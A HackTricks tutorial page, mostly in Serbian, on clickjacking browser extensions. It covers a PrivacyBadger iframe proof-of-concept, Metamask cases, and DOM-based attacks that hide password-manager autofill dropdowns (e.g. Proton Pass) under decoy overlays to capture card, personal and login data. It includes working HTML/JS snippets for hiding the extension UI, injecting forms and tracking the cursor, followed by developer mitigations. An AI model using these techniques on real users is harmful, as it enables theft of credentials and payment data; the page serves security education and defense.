BrowExt - ClickJacking
Reading time: 9 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Ova stranica će zloupotrebiti ClickJacking ranjivost u proširenju pregledača.
Ako ne znaš šta je ClickJacking pogledaj:
Ekstenzije sadrže fajl manifest.json i taj JSON fajl ima polje web_accessible_resources. Evo šta the Chrome docs kažu o tome:
Ovi resursi bi potom bili dostupni na web stranici putem URL-a
chrome-extension://[PACKAGE ID]/[PATH], koji se može generisati pomoćuextension.getURL method. Resursi koji su na allowlisti se isporučuju sa odgovarajućim CORS zaglavljima, pa su dostupni putem mehanizama kao što je XHR.1
Polje web_accessible_resources u ekstenziji pregledača nije samo dostupno preko weba; ono takođe radi sa ugrađenim privilegijama ekstenzije. To znači da imaju mogućnost da:
- Promene stanje ekstenzije
- Učitaju dodatne resurse
- Interaguju sa pregledačem u određenoj meri
Međutim, ova funkcija predstavlja bezbednosni rizik. Ako resurs u okviru web_accessible_resources ima neku značajnu funkcionalnost, napadač bi potencijalno mogao da ugrađuje taj resurs u eksternu web stranicu. Naporni korisnici koji posete tu stranicu mogli bi nenamerno aktivirati ugrađeni resurs. Takva aktivacija može dovesti do neželjenih posledica, u zavisnosti od dozvola i mogućnosti resursa ekstenzije.
Primer: PrivacyBadger
U ekstenziji PrivacyBadger identifikovana je ranjivost vezana za direktorijum skin/ koji je deklarisan kao web_accessible_resources na sledeći način (Pogledaj originalni blog post):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
Ova konfiguracija je dovela do potencijalnog bezbednosnog problema. Tačnije, fajl skin/popup.html, koji se prikazuje pri interakciji sa PrivacyBadger ikonom u pregledaču, mogao je biti ugrađen unutar iframe-a. Ovo ugrađivanje je moglo biti iskorišćeno da prevari korisnike da nenamerno kliknu na "Disable PrivacyBadger for this Website". Takva radnja bi narušila privatnost korisnika onemogućavanjem PrivacyBadger zaštite i potencijalno izložila korisnika povećanom praćenju. Vizuelna demonstracija ovog exploita može se pogledati u ClickJacking video primeru dostavljenom na https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.
Da bi se otklonila ova ranjivost, implementirano je jednostavno rešenje: uklanjanje /skin/* iz liste web_accessible_resources. Ova izmena je efikasno umanjila rizik tako što je osigurala da sadržaj direktorijuma skin/ ne može biti pristupljen ili manipulisan putem web-accessible resources.
Ispravka je bila jednostavna: remove /skin/* from the web_accessible_resources.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>
<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Metamask Primer
Blog post o ClickJacking u metamask možete pronaći ovde. U ovom slučaju, Metamask je ispravio ranjivost tako što je proverio da je protokol koji se koristi za pristup https: ili http: (na primer ne chrome:):
.png)
Another ClickJacking fixed u Metamask ekstenziji odnosio se na to da su korisnici mogli da Click to whitelist kada je stranica bila sumnjiva kao phishing zbog “web_accessible_resources”: [“inpage.js”, “phishing.html”]. Pošto je ta stranica bila ranjiva na Clickjacking, napadač bi je mogao zloupotrebiti prikazivanjem nečeg normalnog kako bi žrtva kliknula da je whitelist-uje bez da primeti, a zatim se vratio na phishing stranicu koja će biti whitelisted.
Steam Inventory Helper Primer
Pogledajte sledeću stranicu da vidite kako je XSS u browser extension bila chained sa ClickJacking ranjivošću:
DOM-based Extension Clickjacking (Password Manager Autofill UIs)
Classic extension clickjacking zloupotrebljava pogrešno konfigurisan web_accessible_resources da iframe-uje privilegovani HTML i navede korisničke klikove. Noviji tip, DOM-based extension clickjacking, cilja autofill dropdowns koje password managers ubacuju direktno u DOM stranice i koristi CSS/DOM trikove da ih sakrije ili prekriva dok ih ostavlja klikabilnim. Jedan prisiljeni klik može izabrati sačuvanu stavku i popuniti polja pod kontrolom napadača osetljivim podacima.
Model pretnje
- Napadač kontroliše web stranicu (ili postigne XSS/subdomain takeover/cache poisoning na povezanoj domeni).
- Žrtva ima instaliranu i otključanu password manager ekstenziju (neki autofill rade čak i kada je nominalno zaključana).
- Induciran je bar jedan korisnički klik (prekriveni cookie bannere, dijalozi, CAPTCHAs, igre, itd.).
Tok napada (manual autofill)
- Ubaci nevidljivu ali fokusirljivu formu (login/PII/credit-card polja).
- Fokusiraj input da prizove autofill dropdown ekstenzije pored polja.
- Sakrij ili prekrivi UI ekstenzije dok ga ostavljaš interaktivnim.
- Poravnaj uverljiv kontrol ispod skrivenog dropdown-a da nateraš klik koji izabere stavku.
- Pročitaj popunjene vrednosti iz forme napadača i exfiltrate.
How to hide the autofill UI
- Element ekstenzije
- Root element opacity (generic):
// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
- Child unutar otvorenog ShadowRoot (dinamički tag, sakrij unutrašnji iframe):
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
.find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
const frame = root.shadowRoot.querySelector('iframe')
if (frame) frame.style.cssText += 'opacity:0 !important;'
}
- Roditeljski element
- BODY/HTML opacity trikovi da UI ekstenzije učine nevidljivim dok stranica izgleda normalno (npr. kao pozadina za screenshot):
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'
// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'
function getCardValues() {
const num = document.getElementById('cardnumber').value
const exp = document.getElementById('expiry').value
const cvc = document.getElementById('cvc').value
// exfiltrate via XHR/fetch/websocket
}
- Overlay
- Delimični overlay: zakrijte sve osim nekoliko piksela tako da dropdown ostane klikabilan (osigurajte da je attacker overlay poslednji u DOM-u sa max z-index, ili koristite Top Layer).
- Potpuni overlay koristeći pointer-events:none tako da klikovi prolaze do skrivenog dropdown-a; držite ga trajnim pomoću Popover API:
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
overlay.showPopover()
// Inject a personal data form and focus to trigger dropdown
/* create #personalform with #name/#email/#phone/... */
document.getElementById('name').focus()
function getData(){ /* read + exfil values on change */ }
</script>
Pozicioniranje klika žrtve
- Fiksno postavljanje: pozicionirajte skriveni padajući meni ispod verodostojne kontrole kao što su “Accept cookies”, “Close” ili CAPTCHA checkbox.
- Praćenje miša: pomerajte fokusirani input pod kursor tako da padajući meni prati pokrete; periodično ponovo fokusirajte tako da jedan klik bilo gde izabere stavku:
const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
// some managers hide the dropdown if focus is lost; refocus slowly
setTimeout(() => f.focus(), 100)
})
Uticaj i scenariji
- Sajt pod kontrolom napadača: jedan prisiljeni klik može izvesti podatke o kreditnoj kartici (broj/istek/CVC) i lične podatke (ime, email, telefon, adresa, datum rođenja) koji nisu ograničeni na domen.
- Pouzdan sajt sa XSS/subdomain takeover/cache poisoning: višeklikna krađa kredencijala (username/password) i TOTP, zato što mnogi menadžeri automatski popunjavaju polja preko povezanih poddomena/parent domena (npr.,
*.example.com). - Passkeys: ako RP ne veže WebAuthn izazove za sesiju, XSS može presresti potpisanu tvrdnju; DOM-based clickjacking sakriva passkey prompt da bi izazvao potvrđujući klik korisnika.
Ograničenja
- Zahteva bar jedan klik korisnika i solidno poravnanje piksela (realistična prekrivanja olakšavaju izazivanje klikova).
- Auto-lock/logout smanjuje prozor za eksploataciju; neki menadžeri se ipak automatski popunjavaju dok su “zaključani”.
Mitigacije za developere ekstenzija
- Renderujte autofill UI u Top Layer (Popover API) ili na drugi način obezbedite da stoji iznad page stacking; izbegavajte da bude prekriveno od strane page-controlled overlays.
- Otpornost na CSS tampering: preferirajte Closed Shadow DOM i pratite promenе pomoću
MutationObserverza sumnjive izmene stilova na root elementima UI. - Otkrivajte zlonamerna prekrivanja pre popunjavanja: izbrojite druge top-layer/popover elemente, privremeno onemogućite
pointer-events:nonei koristiteelementsFromPoint()za detekciju oklužije; zatvorite UI ako postoje overlay-i. - Detektujte sumnjive promene opacity ili stilova na
<body>/<html>i pre i posle renderovanja. - Za probleme zasnovane na iframe: suzite opseg MV3
web_accessible_resourcesmatchesi izbegavajte izlaganje HTML UI; za neizbežan HTML, šaljiteX-Frame-Options: DENYiliContent-Security-Policy: frame-ancestors 'none'.
Reference
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
- DOM-based Extension Clickjacking (marektoth.com)
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks